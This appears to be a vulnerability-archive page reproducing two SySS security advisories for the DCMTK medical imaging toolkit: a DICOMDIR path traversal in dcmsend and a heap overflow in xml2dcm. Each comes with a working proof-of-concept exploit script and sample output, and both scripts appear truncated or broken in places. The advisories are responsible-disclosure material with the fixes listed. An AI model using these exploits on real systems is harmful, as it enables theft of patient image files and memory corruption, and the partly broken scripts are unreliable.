follows:\n\n 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n ReferencedFileID contains traversal components, for example\n \"..\\\\OUTDIR\\\\SECRET\".\n\n 2. The same record contains ReferencedSOPClassUIDInFile,\n ReferencedSOPInstanceUIDInFile, and\n ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n object.\n\n 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n crafted DICOMDIR.\n\n 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n location without rejecting the traversal.\n\n 5. dcmsend opens and transmits the traversed DICOM file to the\n configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n if [ -n \"${STORESCP_PID:-}\" ]; then\n kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n group, element = tag\n if isinstance(value, str):\n value = value.encode(\"ascii\")\n if vr == \"UI\":\n value = even(value, b\"\\0\")\n\n value = even(value, b\" \")\n data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n if vr in (\"OB\", \"OD\", \"OF\", \"OL\", \"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n else:\n data += struct.pack(\"\u003cH\", len(value))\n return data + value\n\ndef item(content):\n return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n elem((0x0004, 0x1510), \"UI\", sop_class),\n elem((0x0004, 0x1511), \"UI\", sop_inst),\n elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances : 1\nI: - sent to the peer : 1\nI: * with status SUCCESS : 1\n\n(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName\n(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/25"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/25"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0024",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
"automated": true,
"contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T07:59:40Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0024"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0025
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-048
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
The xml2dcm application and the DcmXMLReader library are vulnerable to
a heap buffer overflow when importing external binary files larger than
4 GiB via the binary="file" XML attribute. The file size is measured as
size_t but narrowed to Uint32 for the heap allocation, while the full
size_t length is used as the fread() read size.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmXMLReader::createBinaryElementFromFile() in
libdcxml/xml2dcm.cc (lines 311-330) imports external binary files
referenced by binary="file" in XML:
const size_t fileSize = OFStandard::getFileSize(filename);
size_t buflen = fileSize;
if (buflen & 1)
buflen++;
if (dcmEVR == EVR_OW)
result = element->createUint16Array(
OFstatic_cast(Uint32, buflen / 2), buf16);
else
result = element->createUint8Array(
OFstatic_cast(Uint32, buflen), buf);
if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...
The file size is measured as size_t, narrowed to Uint32 for allocation,
and then used as the full size_t read length.
The attack chain is as follows:
1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).
2. The attacker crafts a DICOM XML with binary="file" referencing the
large file.
3. xml2dcm reads the file size as size_t (4294967297).
4. createUint8Array() allocates only the low 32 bits (2 bytes).
5. fread() writes 4294967297 bytes into the 2-byte buffer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following exploit script creates a sparse 4294967297-byte file and
a DICOM XML referencing it as Pixel Data (OB binary="file"), and then runs
xml2dcm:
cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# XML binary="file" Length Truncation -> Heap Buffer Overflow
# Proof of concept exploit for SYSS-2026-048
#
# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,
# then uses full size_t for fread — causing heap overflow for files > 4 GiB.
#
# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.
# fileSize = 4294967297 (0x100000001)
# buflen = 4294967298 (odd, rounded up)
#
set -euo pipefail
XML2DCM="xml2dcm"
WORKDIR="/tmp/h4_poc_$$"
SPARSE_SIZE=4294967297 # 4 GiB + 1 byte
echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ==="
echo ""
echo "Vulnerability: xml2dcm.cc:311-330"
echo " size_t fileSize = OFStandard::getFileSize(filename); // 64-bit"
echo ""
echo "Configuration:"
echo " Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)"
echo " fread length: $SPARSE_SIZE bytes (full size_t)"
echo " xml2dcm: $XML2DCM"
echo ""
mkdir -p "$WORKDIR"
# Step 1: Create sparse file
SPARSE_FILE="$WORKDIR/large.bin"
echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..."
truncate -s "$SPARSE_SIZE" "$SPARSE_FILE"
echo "[+] Sparse file: $SPARSE_FILE"
ls -lh "$SPARSE_FILE"
# Step 2: Create XML referencing the sparse file
XML_FILE="$WORKDIR/exploit.xml"
echo ""
echo "[*] Creating XML file with binary=\"file\" reference..."
cat > "$XML_FILE" << XMLEOF
<?xml version="1.0" encoding="UTF-8"?>
<file-format xmlns="http://dicom.offis.de/dcmtk";>
<data-set xfer="1.2.840.10008.1.2">
<element tag="0008,0016" vr="UI">1.2.840.10008.1.2</element>
<element tag="0008,0018" vr="UI">1.2.3.4.5.6.7.8.9</element>
<element tag="7FE0,0010" vr="OB" binary="file">$SPARSE_FILE</element>
</data-set>
</file-format>
XMLEOF
echo "[+] XML file: $XML_FILE"
# Step 3: Run xml2dcm
OUTPUT_FILE="$WORKDIR/output.dcm"
echo ""
echo "[*] Running xml2dcm..."
echo ""
echo "---"
echo "Result:"
echo " Exit code: $EXIT_CODE"
echo " Output:"
echo "$OUTPUT"
echo ""
# Clean up
rm -rf "$WORKDIR"
if [ $EXIT_CODE -ne 0 ]; then
echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE"
echo " The 4 GiB + 1 byte sparse file was allocated as 2 bytes"
echo " and fread wrote 4 GiB into it, corrupting the heap."
else
echo "[-] FAIL: xml2dcm did not crash."
fi
echo ""
echo "=== PoC complete ==="
EOPOC
The exploit causes xml2dcm to abort with "malloc(): invalid size
(unsorted)" (SIGABRT), confirming the truncated allocation and heap
corruption.
=== PoC: XML binary="file" Length Truncation -> Heap Overflow ===
Vulnerability: xml2dcm.cc:311-330
size_t fileSize = OFStandard::getFileSize(filename); // 64-bit
Configuration:
Allocation: Uint32(4294967297) = 2 bytes (truncated!)
fread length: 4294967297 bytes (full size_t)
xml2dcm: xml2dcm
[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...
[+] Sparse file: /tmp/h4_poc_50290/large.bin
- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin
[*] Creating XML file with binary="file" reference...
[+] XML file: /tmp/h4_poc_50290/exploit.xml
[*] Running xml2dcm...
- ---
Result:
Exit code: 134
Output:
malloc(): invalid size (unsorted)
[+] SUCCESS: xml2dcm crashed with exit code 134
The 4 GiB + 1 byte sparse file was allocated as 2 bytes
and fread wrote 4 GiB into it, corrupting the heap.
=== PoC complete ===
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
ebeafd016bcef34021111550cc2a644129d89825 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-048
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-048\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n const size_t fileSize = OFStandard::getFileSize(filename);\n size_t buflen = fileSize;\n if (buflen \u0026 1)\n buflen++;\n\n if (dcmEVR == EVR_OW)\n result = element-\u003ecreateUint16Array(\n OFstatic_cast(Uint32, buflen / 2), buf16);\n else\n result = element-\u003ecreateUint8Array(\n OFstatic_cast(Uint32, buflen), buf);\n\n if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n 2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n large file.\n\n 3. xml2dcm reads the file size as size_t (4294967297).\n\n 4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n 5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n# fileSize = 4294967297 (0x100000001)\n# buflen = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297 # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \" size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \" Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \" fread length: $SPARSE_SIZE bytes (full size_t)\"\necho \" xml2dcm: $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \" Exit code: $EXIT_CODE\"\necho \" Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n echo \" The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n echo \" and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\n\n\nConfiguration:\n\n Allocation: Uint32(4294967297) = 2 bytes (truncated!)\n fread length: 4294967297 bytes (full size_t)\n xml2dcm: xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n Exit code: 134\n Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security 